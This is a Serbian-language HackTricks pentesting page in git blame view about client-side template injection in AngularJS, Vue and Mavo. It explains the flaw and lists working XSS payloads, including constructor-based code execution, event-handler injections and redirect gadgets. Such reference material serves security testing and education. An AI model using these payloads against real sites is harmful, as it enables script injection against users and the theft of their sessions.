hacktricks/pentesting-web/client-side-template-injection-csti.md

103 lines
6.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 12:41:36 +00:00
# Summary
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali na **klijentskoj strani**. **SSTI** vam može omogućiti da **izvršite kod** na udaljenom serveru, dok bi **CSTI** mogao omogućiti izvršavanje proizvoljnog JavaScript koda u browseru žrtve.
**Testiranje** ove ranjivosti je veoma **slično** kao i u slučaju **SSTI**, interpreter očekuje **šablon** i izvršiće ga. Na primer, sa payload-om poput `{{ 7-7 }}`, ako je aplikacija **ranjiva**, videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
2022-05-01 12:41:36 +00:00
# AngularJS
AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om putem atributa poznatih kao direktive, od kojih je jedna od značajnijih **`ng-app`**. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde korisnički unos dinamički bude ubačen u telo HTML označeno sa `ng-app`, moguće je izvršiti proizvoljan JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su primeri koji pokazuju kako se može izvršiti JavaScript kod:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Možete pronaći vrlo **osnovni online primer** ranjivosti u **AngularJS** na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i na **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
[**Angular 1.6 je uklonio pesak**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `<input ng-focus=$event.view.alert('XSS')>` treba da funkcioniše.
2021-06-29 12:49:13 +00:00
{% endhint %}
2022-05-01 12:41:36 +00:00
# VueJS
Možete pronaći **ranjivu Vue** implementaciju na [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
2024-02-10 13:11:20 +00:00
Radni payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
I **izvorni kod** ranjivog primera možete pronaći ovde: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
## **V3**
2021-11-22 11:32:00 +00:00
Jedan zaista dobar post o CSTI u VUE-u može se pronaći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
Zasluga: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-02-25 11:39:28 +00:00
2022-05-01 12:41:36 +00:00
## **V2**
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
Zasluga: [Mario Heiderich](https://twitter.com/cure53berlin)
2021-02-25 11:39:28 +00:00
2024-02-10 13:11:20 +00:00
**Proverite više VUE payloada na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
2021-11-22 11:32:00 +00:00
2022-05-01 12:41:36 +00:00
# Mavo
2022-04-05 22:24:52 +00:00
Payload:
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
2024-02-10 13:11:20 +00:00
**Više payloada na** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
2024-02-10 13:11:20 +00:00
# **Lista za otkrivanje Brute-Force napada**
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>